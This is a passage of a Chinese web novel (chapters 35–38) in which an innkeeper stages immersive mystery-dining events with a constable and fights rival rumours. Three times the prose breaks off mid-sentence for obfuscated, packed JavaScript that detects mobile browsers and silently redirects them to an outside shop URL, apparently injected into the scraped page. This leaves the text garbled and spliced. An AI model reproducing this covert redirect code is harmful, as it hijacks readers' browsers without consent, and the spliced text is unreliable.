李弦过来时,她正在自制的小格纸上,做着只有她自己才懂的标记。 听见声响,她没抬头,问道:“这么晚还过来?” “谁让你还留门呢。”李弦快步到柜台前,从怀里掏了一只食盅,“赶在韩叔收摊前要了最后一碗云吞,趁热吃了再看吧。” 没听见身后的动静,李弦回头,只见黎映真还对着满桌涂画得密密麻麻的纸张蹙眉思索。 他忍不住凑近看了两眼,逗她道:“这些标记……黎掌柜是要改行当账房先生?还是想学那街头的卜算先生,推演天机?” “呸。”黎映真横他一眼,嘴角却是弯起,将一张统计了“偏好故事类型”的纸拍在他脑门上,起身吃云吞去了。 李弦看不懂纸上的标记,但这几日观察下来,他发现黎映真的心情好转了许多,估摸着这纸上标记的就该是令她高兴的结果。 他假模假样地看,点头,煞有介事道:“如此看来,你推出剧本杀的事不就有魂儿了?放开手脚去做就好。” 抬头时,他才发现黎映真不见了。 没一会儿的工夫,紧凑的脚步声从后院方向传来,是她拿了一副空碗勺来。 有人识趣得很,巴巴地跟到柜台前,看着黎映真分了一半云吞出来,嘴角眼看快咧到耳后了,面上还在装模作样,道:“我吃过了,不饿。” “没说给你吃。”黎映真将分出来的半碗放去李弦面前,“我吃不完这么多,放着等等再吃,免得浪费。” 说完,黎映真端着自己那半碗云吞重新回到桌前,边吃边将剩下的问卷结果进行标记。 夜深人静,但凡多一丝动静都听得清楚。 黎映真一门心思整理问卷,却不觉得身边不时冒出的声响烦人。 只是听得那声音断断续续又有意克制,她终于按捺不住抬头,瞧见那正轻手轻脚在放门板的背影。 而柜台上那原本放着的半碗云吞,不知几时已然空了。 35. 第 35 章 对足够多的市场调研样本进行分析后,黎映真便将全副心神投入到了“沉浸式美食话本杀”的筹备中。 眼下客栈的流动资金尚且充裕,相关的硬件也都已经着手置办,她便从剧本入手,准备先做一个相对简易的探索剧本。 搭建完剧情框架后,黎映真召集孙伯他们一起开剧本研讨会。 “我想由孙伯负责配套菜式的开发,带着后厨的其他师傅做几道配合剧情的菜。这个话本我有以后持续发掘的计划,所以配套的菜品在将来只需要稍作调整。” “没问题,掌柜的,这事儿包给我们后厨。明日我就带人一起想,还要叮嘱他们牢牢保密。” 黎映真忍不住为孙伯鼓掌,转而对阿桃和吴二道:“那你们两个就跟我一起设计角色、编排互动线索。” “我们?”阿桃惊道,“我什么都不懂,也能一起写话本?” “为什么不可以?我一个人的能力毕竟有限,多一个人就多一个思路,这生意做成了,大家都有分红。” 阿桃闻言大喜,抱着黎映真又是蹭,又是不停说好话。 “李捕快,你来了!”阿桃又蹦又跳着去迎李弦。 李弦笑着进来,看的是阿桃,脚下走的却是往靠近黎映真的方向走,道:“你家掌柜给你涨工钱了?这么高兴?” “差不多吧。”阿桃喜滋滋道,“掌柜的要我跟吴二一块写新话本,这次的话本……话本杀如果做得好,她还要给我们分红呢!” “有这种好事?”李弦附和着,停在黎映真面前,“我能跟着喝口汤吗?” 黎映真抱臂,仰头看向李弦的眉眼里带着三分调侃,道:“我这儿向来是能者居之。想要吃肉喝汤,就看李捕快有多少本事咯。” 于是大伙齐心协力,慢慢勾勒出了一个关于秘密宝藏、悬疑迭起的故事。 外界只知客来居又在捣鼓新花样,却不知具体为何,都等着看黎映真又有什么新奇玩意儿拿出来。 这日午市,客来居内仍是做了坐了七八成的食客。 有一桌上,提前收摊几个货郎一块儿来吃东西,其中一个姓齐的拿出一个样子稀奇的小玩意儿在手里把玩,问道:“你们看看这是什么?” 另外两人凑过来,其中一个拿起那怪模怪样的兽头,先掂了掂分量,又几乎巴在眼跟前仔细观察了一番,摇头道:“这东西非金非木还刻成这样奇形怪状的,你从哪儿捡的?” “我捡这东西做什么,是昨日从咱这大街前头经过,一个梳着小髻的陌生姑娘塞我手里的,嘴里还说什么镇府之物,请我暂且保管。你说稀奇不稀奇……” “我听说了。”另一个道,“最近咱们县里是不是来了什么大人物,隔三差五就有人在街上送东西。” “真是大人物送这东西?” “那是你运气差,我们巷子里那个何婆子,就被塞了快绣纹的手巾,料子还不错呢,那绣工也不错,就是上头绣着‘王府特制’的字样。” “我想起来了,还有送古钱的,做得挺真,上头也是刻着差不多的字样。” 三人说得正起劲儿,黎映真恰好从食客中路过,他们即刻叫道:“黎掌柜,黎掌柜。” 听见了声音,黎映真一调头就到了三人跟前,笑着打招呼道:“齐叔,怎么了?” “黎掌柜可见过这个?”齐叔将那兽首给黎映真看。 黎映真摇头,却是笑道:“这小模样奇怪了些,倒还挺别致。齐叔,你哪儿得来的?” 齐叔将经过又说了一遍,忽地补充道:“给这东西的小姑娘最后还说了什么王府……夜……王府夜宴。这是什么意思,黎掌柜,你知道吗?” 黎映真满脸茫然,随即将兽首放回桌上,道:“齐叔真是高看我了。我镇日在这客来居里头跑前跑后,哪晓得这王府什么东西。” “不过……”黎映真看着这桌三人齐齐看着自己,佯咳了几声,“我听阿桃说,县里最近有些奇怪动静。我猜啊或许是有新来的戏班在为排演的新剧故布疑阵吧。” “黎掌柜,你这话可就不实在了。”隔壁桌的食客忽然转头加入了议论,“哪家戏班也没见要造这样的声势。再说,咱们县也不是什么大地方,最多就是挨着京城近些,真有名角,报个名儿,十里八乡听说了,冲着人名儿也就来了,哪还要做这些。我看这事儿,十有八九跟你黎掌柜有关系。” 几人说笑闲聊,黎映真一抬头,见客栈门口又倚了副“懒骨头”。 她灵机一动,冲李弦一抬手,将几人的视线引过去,接着道:“真要是有形迹可疑的,让李捕快把人抓回衙门问一问不就都清楚了。” 李弦慢悠悠过来,他今日不当值,穿着一身寻常的深色布衣,看着慵懒随性,身姿依然挺拔。 停在黎映真面前,衔在他嘴角的笑容不由深了几分,道:“看我这身行头,今日是帮不上黎掌柜的忙了。” 黎映真瞥他一眼,抬手拦在他身前再轻轻划开,看李弦顺着自己的动作让开了道,她径直离开,嘴上却道:“是帮县里的大家解惑,可别什么帽子都扣我头上。” 一旁的齐叔真像是听进了黎映真的话,对李弦道:“黎掌柜说的在理,李捕快,衙门确实可以留意那些奇怪的神秘人。” 李弦听着齐叔所言,一双眼睛却总跟在黎映真身上。 余光里瞧见齐叔将那个兽首递给自己,他接了,拿在手里,但只扫了一眼,视线又快速看向那已回到柜台内的身影。 恰是黎映真不知怎的想回头看一眼,便正巧触上了李弦的目光。 见那人拿着兽首冲她摇了摇,她又装作无意扭过头。 只是背过身绕进柜台里时,她自己都忍不住发笑。 片刻间,面前笼下一片阴影,那只兽首被摆在了台面上。 “丑东西。”黎映真笑嗔一声,掀眼看着李弦却不说话。 “丑得别致?”李弦指尖点了点兽首,“我那衣裳改好了没?” 黎映真转去看兽首,多看了几眼,这别致的丑东西竟变得顺眼了。 “急什么。”她拿过兽首把玩起来,再面对李弦,玩笑道,“像你。” “若我有这幅尊容,衙门门口放的还是不是那两只石狮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047858|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子就说不定了。”李弦道。 说着,他又凑近黎映真,低声道:“我看这几日的气氛也调动得差不多了,准备几时动手?” 成安县内,关于神秘人和神秘王府的传闻还在酝酿发酵。 而客来居里,某日齐叔正准备进客栈用膳,却见门口不知何时贴上了“歇业”的白条。 没人知道开得好好的客来居为什么毫无征兆地歇业,又几时恢复营业,只是县里的百姓每每路过,看着那紧闭的大门,总有揣着疑惑又不知该去哪儿问的。 毕竟这些时日里,黎映真也都未曾露面。 真正的第一场北风吹进成安县的那日,客来居门口的那张白条被卷到了天上,随着风的方向飞走了。 而后大门洞开,出来了两列丫鬟、家丁打扮的人,领头的自是阿桃和吴二。 “上灯!”吴二唱道。 围观的众人只见另一个家丁打扮的人用长叉子吊着一盏八角灯挂在客栈门口,算是完成了这上灯仪式。 “王府新开,与民同乐,诸位乡邻有意可入府用膳,另有惊喜自此而出。”吴二指向一旁写着“角色箱”字样的箱子,“进客栈用膳者,前十位可在此抽取话本角色,获得全新用膳体验。” 此时又有一队人从人群中冒出,带头的是李弦。 他仍是公服在身,只是这衣裳不似衙门甲胄,衣上的靛蓝色也要浅一些,当是仿制来的。尤其他右臂上缠着一条显眼的红色布条,权作这“王府侍卫长”的身份标识。 见李弦也参与其间,有人调侃道:“衙门俸禄低到李捕快都要出来给黎掌柜做工了。” “闲杂人等,肃静。”李弦煞有介事,看来有些气势,眉眼还是弯弯的,“我等在此恭迎王府贵客,尔等赏光可入内一座,否则与外头多讲我这儿新奇,自有东主感谢。” 说话的功夫,前十位食客已依次抽取了角色,换上简易装束,进入了客栈。 原本朴实的客栈大堂内如今悬挂着琉璃宫灯,虽非真品,但用料做工尚且细致,与摆放在直播间台上的那幅颇具气势的山水与府苑绘图相得益彰,确有气派之色。 而客栈内所有的跑堂都换上了统一制式的家丁衣衫,行动间几分“王府”规矩。 那十位“王府宾客”围坐在客栈中特意放置的圆桌边,黎映真则穿着王府管事的衣衫出现在宾客之中。 宴会正式开始,丝竹声起,“侍女”们端着精美的食案鱼贯而来。 每一道菜的上场,都伴随着阿桃声情并茂的唱词解说。 宾客们起初还有些拘谨,不知这菜名又与剧情线有所关联。 好在黎映真早就安排了托儿,负责引导互动,宾客们这才渐入佳境,有人根据藏在菜中的线索分析案情,有人沉静角色的身份与其他宾客交谈试探。 李弦原本在客栈外履行“侍卫长”的职责维持秩序,却忽然听客栈里头传来争吵声。 他探头去瞧,只见那张大圆桌前,两位宾客不知在争论什么,已经是双方都面红耳赤的境地。 周围的其他食客也都被这景象引得注目看去。 36. 第 36 章 圆桌前那两位客人针锋相对,说到情急处还有猛然拍桌的,砰的一声惊动了大堂中其余人。 李弦看着其他桌的客人开始交头接耳,只道真是宾客们吵出了“兴致”,眼见要弄假成真。 “二位,看这是什么?” 激烈的争吵中,黎映真扬声一句便吸引了在座宾客的目光。 因她高举手,滑落的袖管里露出小半截小臂,连接着手腕的皮肤上似乎写了什么东西。 而她手里两指夹着一张叠好的纸,在两位宾客面前晃了晃,故弄玄虚道:“方才我在地上捡的,不知会不会对二位有所帮助。” 原本争执的二人瞬间安静坐了下来,圆桌上的其他人同样伸长了脖子,都想去看黎映真手里究竟拿的什么东西。 圆桌上的气氛由剑拔弩张成了神秘不可测,便惹了其他桌的食客好奇。 李弦当即示意,几名家丁立即上去在圆桌外围设防,齐声喊道:“宴会重地,旁人勿近。” “妙啊!就是这样!” “哈哈哈,原来是我想错了。” 先前各执一词的两人此时一块儿抚掌大笑起来。 黎映真引导着宾客们进入下一段探索剧情,游刃有余。 眼角余光却捕捉到某个已从客栈门口挪到台边的身影。 随着剧情推进,需搬动一只道具箱上场。 黎映真道:“客人稍等,此处有玄机。” 正要转身,那只箱子已被搬到她身边。 “李护卫倒是有眼色。”沉浸剧情的食客玩笑道。 “黎总管教导有方。”李弦应道。 目光落去黎映真身上时,瞧见她正悄然擦着脸上的细汗,想是站了多时又要随机应变,难免累了。 “李护卫功夫好,人又细心,可是王府里最得力的人才呢。”黎映真跟着一块儿演,转头去看李弦时却见他欲言又止,而她的衣袖还贴着脸颊擦汗,已然开口问道,“还有事?” 正摸着袖袋的手却停住了,李弦到底没继续接下去的动作,只道一句“没事”,就此退了下去,黎映真招呼宾客们的声音又传入了他的耳畔。 当圆桌上的宾客齐齐发出“哇”的惊叹,这场王府夜宴终于落下帷幕。 大堂内正吃正常用膳的客人听见声响,纷纷望向圆桌,却只见黎映真竖起食指搭在唇上,正朝那十位宾客做噤声的手势,随后打开了一个盒子。 那十人围在圆桌周围,密不透风,教旁人看不见他们究竟在做什么,只有后续接连发出的笑声,昭示着出了一个皆大欢喜的结局。 “恭喜客人们达成结局之一,十全十美。”黎映真道。 “难道还有其他结局?” “自然有的,客人若有兴趣可以再次光临客来居参与。” “还是来得早便能边吃边玩?” “因目前话本库存有限,推出活动的日子和参与方式不定,请客人关注本店活动通告。 “本店提醒,熟人相戏热情更甚,各位客人若未尽兴,下次可以携友同行。等话本库扩容后,还有专属话本房,供客人们挑选喜欢的话本进行游戏。” “这玩法有意思,那就改天再带我那镇日喊着人生无趣的朋友来玩。” “这尚书做得过瘾,下回还来。” 参与话本杀的宾客尽兴而归,人手一份拿着那结局寻到的秘宝糕点离开时,仍有家丁出来送客,口口声声还是以话本里的身份相称,直到踏出客栈,才算真正结束。 那些没能参与到话本杀中的食客们也大多对此表达出兴趣,一整日下来,黎映真听不少人问起何时再有下一场,但她都是模糊着答了,毕竟这一场话本杀下来还是颇为费神费力的。 帮着吴二一起收拾完圆桌,黎映真去后院歇息偷闲。 这会儿她才觉得腰酸腿软,坐在那棵桂花树下敲敲捏捏了一阵,再伸个懒腰才觉得舒服了些。 从大堂传来脚步声,不用抬头,她也听出是谁。 一碗热茶递到眼前。 接过热茶,黎映真道:“多谢。” 声音有些哑。 李弦眉心皱了皱,坐在黎映真身边,道:“该找个帮手了,总不能每回都是你上去。” 热茶入喉,不只是发紧的嗓子舒坦了,热意暖了身子,还驱散了几分疲惫。 黎映真捧着茶杯,扭头看向李弦,道:“下回也不能再辛苦李捕快利用休沐来帮我打杂工了。” “怎么不可以?” “累啊。”身子朝李弦倒了些,她又很快坐好,低头继续喝茶。 彼此心照不宣,各自发笑。 李弦更是晓得开怀,转着手腕子,还当自己是王府护卫,道:“我不过是尽了点当护卫本分,黎总管纵横捭阖掌控全场,才有最后的宾至如归,厉害厉害。” “那我却之不恭了,这份夸奖照单全收。”她仰头,将杯子里剩下的热茶都喝光了。 看她意犹未尽的模样,李弦道:“还渴?我再去给你倒一杯。” “你往这茶里加了什么?怎么还是甜的?”黎映真拿着杯子在手里左看右看。 “你客栈的茶,放了什么你不知道?” 看着李弦从自己手里拿了空杯子又往大堂走,黎映真便忘了收回视线。 待那人重新倒了一杯回来,她接过,正吹着热气,听他道:“我尝过了,这茶哪儿甜?别是你累坏了,都喝出错觉来了。” 黎映真小小又啜了一口,抿着唇再品味了一番,肯定道:“就是甜的,你这舌头有问题。” 阿桃经过后院的时候,只见天色湛蓝,院中那棵桂花树虽有凋零但仍有绿意。 风吹过时,枝叶轻动,那坠在叶尖的日光被风吹落到树下的两人身上。 一个双手捧着茶杯自顾自喝着,想是得了什么乐趣,视线不时转向身边的身影;一个背靠着树干抱胸而坐,合着双眼像是做了美梦似的浅浅发笑。 而这样的情景,不止阿桃见过,后来吴二他们也都瞧见了。 有个人三不五时就来客栈坐坐或是帮忙,他有时都想在柜台前立上块牌子,写明“李捕快专位”。 有了第一场成功的话本杀,客来居这种新颖的形式又成了成安县内的一大热议话题。 客栈的名气上去了,生意自然越来越好,但麻烦也随之而来。 这日李弦下了值,正想去客来居解决晚膳。 经过一处酒楼,听见有跑堂的在外头吆喝“‘将军府机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050534|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密’话本体验,欢迎品玩”,他驻足看了看,扭头便加快脚步往客来居去了。 跨进客栈大门,他没在柜台里瞧见黎映真的身影,视线在大堂里扫视一圈,见她正招呼客人。 他找了空位坐,没一会儿的工夫,黎映真便来了。 “遇见棘手的案子了?”先给李弦倒水,黎映真劝道,“都下班了,暂且歇歇吧。” 看着推到自己跟前的水,李弦揣着双手轻压在桌沿上,抬头看着黎映真问道:“最近生意怎么样?” 扶着桌面的手动了动,指尖轻轻敲着,黎映真道:“除了直播间跟上话本杀的时候忙一些,其他时候都还行。” 看李弦拍了拍桌面,黎映真会意,坐下道:“什么事让你这么紧张?” “外头其他食肆客栈的情况,你可知道?”李弦问道。 “我知道!”路过的吴二插话道,但有黎映真在场,他又不便多说,将手里的巾子一甩,搭去见上,撇了撇嘴看向黎映真,与李弦道,“我们掌柜的自然也知道。” “他们也学着用‘话本杀’吸引客人嘛,我知道。”黎映真道,“江湖恩仇录、尚书府疑云,还有首府之死,我都听说了。” 吴二气上心头,拽了肩头的巾子在手里又搓又揉,愤愤道:“不止呢,醉仙楼的人还说咱们客栈的话本杀华而不实,价钱又贵得离谱。松鹤楼的更气人,竟然说咱们用的食材都是次等货!这不凭空诬人清白!” 正发泄着怨气,大堂里传来客人的喊人,吴二赶忙过去招待。 见黎映真有这样忠心的帮工,李弦颇感欣慰,但不同于吴二的义愤填膺,他发觉黎映真看来淡定许多。 他疑惑道:“吴二都这么大的反应,你竟然无动于衷?” “别人要学,我如何拦得住?咱们大魏又没有知识产权保护和专利保护。”黎映真给自己倒了杯水,“但以次充好的谣言我没有不管,我都让阿桃把每日采购的食材清单和供货商的凭证保存着的,每日门口都有告示,直播间里我也都说了。谁要是真到我跟前胡说八道,我自然会想办法收拾。” “那是我虚惊一场了。”李弦这才拿起杯子喝水。 似是捕捉到话中的深意,黎映真掀眼去看李弦,没想这人喝着水也没从自己身上收回视线,忽地目光交汇,她那心湖里蓦地就起了涟漪。 抿唇将险些爬上嘴角的笑意压下去,她听见李弦道:“趁我这几日还在县里,你要整活就手脚快些。” 私底下听黎映真嘴里蹦新词儿听多了,李弦多少学会了些,这会儿看她眼底迸出的惊喜,他一丝喜色都掩不住,喝着水,嘴角也是扬起的。 “你又要走?公干?去哪儿?有没有危险?” “是,公干,还是去茉城找阿琳处理点儿事,这次不会有危险。” “几时回来?” “不好说,有什么要交代的?” 这一问一答顺畅自然,以至于黎映真还要开口时忽然意识到哪儿不对,慌忙别过脸去,不教李弦发现自己好似有些发热发红的脸。 “没有要交代的?” 听他说话像是没发现自己的异常,黎映真定了定神,岔开这话题道:“那只能赶在李捕快出发前,再整个活了。” 37. 第 37 章 不出几日,客来居原本的直播间台上换了一番布置,没了王府夜宴的雕梁画栋,不见金玉器皿,取而代之的是簸箕、瓦罐、粗木桌椅,甚至还有一个简易的灶台,像是某家后厨。 而参与本场话本杀的几位客人,也不再是那些老爷、夫人,甚至他们穿着自己的衣裳,直接加入了剧情。 黎映真今日还是那一身豆绿色的布裙,袖口向上挽起,像是忽然从大堂里被抓上来的一般。 她清了清嗓子,对客人们道:“诸位街坊邻居,今日咱这市井寻珍记话本杀,不讲王侯将相,只说咱老百姓自己的故事。” 震衣,昂首,再开口时,她的嗓音比方才更加清亮,道:“咱们这条街,老字号百味斋的镇店调味秘方昨夜失窃,掌柜的急病了。今日能否找回秘方,重振百味斋,就看各位的本事了。” 公布完故事背景,黎映真开始一点点透露线索。 其中一位客人随着剧情推进,根据线索,需要品尝百味斋竞争对手香满楼赠送的极品桂花糕,并与百味斋原本的糕点进行对比,找出差异。 孙伯早就准备好了两份糕点送上。 客人尝了第一块外观精致的糕点,皱眉道:“太甜太腻,甜得齁嗓子。” 孙伯递上第二块。 客人尝后眸光发亮,惊喜地指着那外观朴素的糕点道:“清甜可口,好吃。” 说着,将手里剩下的半块糕点都送入了口中。 “客官好舌头。”黎映真竖起大拇指开到,“百味斋的糕点讲究的是食材本位,宁可外观朴拙,也不滥用调味,以次充好,这糕点是用优质糯米、农家土蜂蜜和干桂花用着秘法所制,米香、蜜甜、桂香层次分明,入口绵软清甜,吃了一口还想吃第二口。” 她有意扬声,好让在座的话本杀客人与大堂里其他食客都听得见。 她相信,这在话本推进中,让客人们亲身体验、亲自辨别出的好东西,才是真正能抵得住流言之所在。 剧情逐渐进入高潮,需要找出关键证物——一小罐掺了劣质糖稀的假冒调味料。 黎映真引导几人来到她的百味斋摊位前,台下的其他食客的目光也随之落到了摊上摆着的几个一模一样的陶罐上。 “诸位,真品秘方是用三年陈酿的酱油头抽、自酿的米醋、老黄酒、深山土蜂蜜混合八种天然香料精心调配而成,色泽醇厚,挂壁均匀,香气复合而持久。” 她一边说,一边拿起其中一个罐子,打开,用一根干净的竹签蘸取少许,让客人闻香观色。 那香味浓郁,带着酒香、醋香和蜜香彼此融合又层次分明,这其中能触动每个人嗅觉的味道固然有所不同,但在场的客人都情不自禁地点头以示认可。 “至于假的。”黎映真又拿起另一个罐子。 打开瞬间,一股过于甜腻的气味散出,待她将其中酱汁倒入瓷碟中,色泽也是看来浑浊。 两个碟秘方酱汁并排放在一起,高下立判。 剧情继续推进,黎映真借着透露线索,展示实为客来居的菜品,而客人们抽丝剥茧,终于找到了偷走秘方的凶手——香满楼的伙计。 噗通一声,吴二扮演的香满楼伙计因为偷听得过于入神,从“窗”外摔了进来。 他正因劣迹败露落荒而逃,后领却被一把拽住,整个人都仿佛被提了起来。 “这么着急是去哪儿?”说话的是李弦。 李捕快今日本色出演,只不过那公服是假的,腰间的佩刀也是假的,可那看着笑吟吟却带着些微寒意的神情是实打实的真。 “我我我……”吴二吓得浑身发抖,还成了结巴,“啊……” 那哆哆嗦嗦的身板忽然一颤,浑身就跟被卸了骨头似的松垮垮地往下坠,若不是有李弦提着,像是能直接摊在台上。 李弦这就提着人去“衙门”,台下众人鼓掌喝彩,大堂内气氛很是热烈。 剧情至此圆满落幕,黎映真向台上的客人们躬身致谢,又面向所有在座食客道:“客来居制作的菜品真材实料,所用食材都以新鲜优质为主,欢迎大家监督。 “没有客人们的支持,客来居就没有今日的成绩。为了可以更好服务乡邻,客栈自今日起特设意见箱,大家有对客栈的意见或是建议,都可以投入意见箱。我作为客栈的掌柜,一定会听取大家的意见,多加改进。” “同时也希望乡亲们可以充分相信客来居……”台上那抹豆绿色身影真诚,眸光渐亮,扬声却是稳着气息,道,“相信我,黎映真。” 阿桃立即带头鼓掌,参与了话本杀的客人们尽兴而归,自然愿意趁势给与鼓励。 有了起头的,旁人深受感染,掌声再次充斥满整个大堂,这才是真正为这场平民话本杀落下了真正的句点。 “滴,直播间热度值:75。” 上升的热度值非但没有给黎映真带来喜悦,反而令她厌烦。 她努力无视着脑海中系统那毫无意义的鼓励,最后实在听得心烦,道:“我要开临时功能。” 讨人厌的声音瞬间瞬间消失,整个世界都清静了。 身子被人扶了一把,黎映真回了神才知是李弦。 她才从台上下来,跟系统纠缠时整个人看来怔怔的,像是在出神,李弦以为她不舒服才特意上来探看。 “怎么了?”他关心问道,没松开黎映真。 黎映真摇头道:“没事。” “这里有阿桃他们,我带你去后头歇歇。” 不知是不是因为李弦明日就要去茉城的缘故,她只觉得今日的李弦说话都跟平素不太一样,温柔了一些。 但也可能是她的错觉吧。 后院桂花树下,李弦端着孙伯熬的润喉汤过来,递给她道:“孙伯特意给你熬的。” 黎映真接过,碗壁温度恰到好处。 她喝了一口,清甜甘润,瞬间抚慰了干渴焦躁的喉咙,舒服得令她忍不住喟叹一声。 “李捕快今日是点睛之笔。”黎映真捧着碗,一口一口喝着。 李弦挑眉,抱臂靠在一旁的桂花树上,仍是那副懒洋洋的模样,道:“还得是黎掌柜给我在乡亲们面前露脸的机会。” 忽然咕咚咕咚喝起了润喉汤,李弦劝道:“慢点儿,没人跟你抢。” 黎映真喝完了,学着李弦的样子背靠着桂花树,问道:“明日一早就走?” “怎么?送送我?” “想得美,我店里都忙不过来呢。” 李弦垂眸,低声笑笑,再抬眼时,见黎映真合着双眼,好似睡着了似的。 他不由想起黎映真为了赶这次话本杀连熬了几个大夜的情景,往她身边挪了些,放柔了语调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054487|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“有没有考虑过我上回跟你说的,客栈的事务不用样样亲力亲为。我看阿桃他们也都挺能干的。” “我带出来的兵那能是泛泛之辈吗?”黎映真说着,嘴角扬高了些,“我记着你的话呢,但是还要再等等,下次吧,下次一定。” 听得出李弦对自己的关心,但眼下的一切都没有安稳到能够让她有所懈怠的时候。 她这“下次一定”也不是诚心要敷衍李弦,而是不敢就这么答应了,万一到以后事态生变,那就反而是她骗了人。 连日来被强行压制的疲惫终于在这会儿汹涌而来。 黎映真抵不住这沉沉的倦意,不知不觉睡了过去。 她忽然进入和系统沟通的混沌虚空,但周围很静,一切仿佛都被凝固了似的。 她知道,系统不在,至少此时此刻,它不能给与自己回应。 “滋——噼啪——” 一阵仿佛电流短路般的杂音猛地响起,声音尖锐得像是钻头正在钻着她的耳膜。 大脑胀得要裂开似的,难受得她只能蜷起身子蹲着,才勉强缓解了一些不适。 一串混乱的字符伴着杂音开始在脑海中闪现,和系统临时开启的字幕功能十分相似。 但她很难在这种时候从那些残缺不全的代码中找到有用的信息。 意志不断被杂音和无序的代码冲击,这种远胜于摧残身体的精神折磨让黎映真无从招架。 黎映真用力捂住头,尽管剧烈的刺痛感让她眼前发黑,但她依旧想要尽量保持清醒和理智的想法还在如同洪流奔涌的代码中倔强抵抗。 终于,代码流中夹杂的某些碎片化信息,被她以极强的意志力捕捉到了。 【能量阈值……维持存在……】 【宿主效能低下……连续低于阈值……】 【规则判定……无能系统……清除程序……】 【绑定核心……经营实体……不可剥离……】 信息支离破碎且转瞬即逝,杂音和代码流很快消失。 脑海中恢复平静的那一刻,黎映真猛地惊醒。 是她熟悉的客栈后院。 有她熟悉的桂花树。 还有……一张不知何时盖在自己身上的毯子。 还没有完全从那些碎片化的代码信息中回神,但看见阿桃出现在后院中,黎映真立即唤道:“阿桃。” 阿桃立即过来,道:“掌柜的你醒了。” 渐渐想起之前李弦还在自己身边,可这会儿他已经不见了。 黎映真虽然看着才睡醒迷迷糊糊的样子,但阿桃看她左右转动着视线,显然是在找什么,她道:“李捕快已经回去了,这毯子就是他让我找来给你盖上的,说是你这几日为了话本杀,熬得太辛苦,让我们别吵着你。 “他还说,事情有变,他直接出发去茉城了。” 听阿桃利落地传着话,黎映真低头看着身上的毯子,想起李弦才问她要不要给他送行的话,少不得失落。 指尖抚着柔软的毯子,那上头还有她的体温,黎映真低声咕哝道:“谁稀罕你说这些,你也最好没骗我。” 李弦走得这么突然,别真是出了事。 话音未落,那毯子也不知被抱进了谁的怀里。 桂花树下那身影,就这么静静地又坐了好些时候。 38. 第 38 章 李弦不在成安县的日子,客来居的生意依旧红火,只是阿桃他们每每经过大门便忍不住朝外头瞧,没见着那散漫高俊的身影出现,总觉得少了些什么。 倒是黎映真始终专心做着自己的事,不是招呼客人,就是对账、策划新的话本杀和考虑客栈未来发展的事,没那总是往外面张望的“闲工夫”。 “掌柜的,这天儿是越来越冷了。”吴二搓着手经过柜台,“咱们是不是该在门口挂两块大的棉花帘子,要不这敞着门,风呼呼地往点里跑,冻着客人。” 黎映真拨着算盘,听着吴二的建议,一心二用道:“嗯,加,等午市下了,我就去找师傅做。” “掌柜的,赵婶问咱们的新话本几时出呀?”阿桃手里的食案上放着几只叠在一起的空碗碟,去后院前,特意来柜台问黎映真。 “在写了,你们两个最近偷懒,也没给我出主意。”黎映真伏低了一些,将算好的数写去账本上。 “还有黎掌柜想不出的主意?” 笔尖顿在纸页上没及时提起,墨迹洇成了一个小小的黑点。 拿笔的手收紧了一些,黎映真干脆将那个墨点连同写坏了的数字全涂了,在下头重新写,没有抬头。 客栈里还是吵得很,但黎映真看来心无旁骛,丝毫没被影响。 直到她收了笔,再吹了吹刚写完的笔迹,才听柜台外头又出现了那个熟悉的声音,道:“走了没多久,这就不认人了?” 黎映真抬眼瞥了那还面带风霜的脸,合上账本,锁进抽屉,绕出柜台,仍拉长着脸,道:“打尖还是住店,本店特色……” 话没说完,看李弦已转身找了空桌坐下,黎映真拉住身边经过的吴二,道:“鲤鱼烩面,加量了送来。” 视线已往李弦身上跑了去,也是给吴二暗示。 跟着坐去李弦那桌,才坐下,她便瞧见这人从袖袋里摸了块手巾出来擦脸。 不正是当初被他拿去洗了就再没还回来的那块么。 抿了抿嘴角,再是垂下眼,黎映真坐着不说话,只听李弦不知在鼓捣什么,窸窸窣窣地没停。 “我这才回来,赶紧过来吃点东西就得回衙门,指不定几时能出来了。”李弦宝贝似的收起那块手巾,往黎映真身边凑了凑,道,“这阵你也没好好歇着。” 这话听着还算殷勤,黎映真这才心情好了些,斜眼去看他,想是方才这人匆匆收拾了一番,这会儿看着精神了一些,可眼下乌青还明显,看来在茉城的这段时间没少忙碌。 嘴角一撇,黎映真还是没说话,默默剥着指甲玩。 不多时,吴二上了鲤鱼烩面。 算算时间,这烩面哪能这么快就做好,该是他在柜台前等的时候就让做了。 那方才,还是她多此一举了。 李弦像是真饿了,拿了面就狼吞虎咽起来,那声音听得黎映真都以为他是不是饿了好些天,终于没忍住开口道:“慢点儿,没人跟你抢,噎着了我可不负责。” 吸溜的声音只停了一会儿,李弦再开动时的确收敛了。 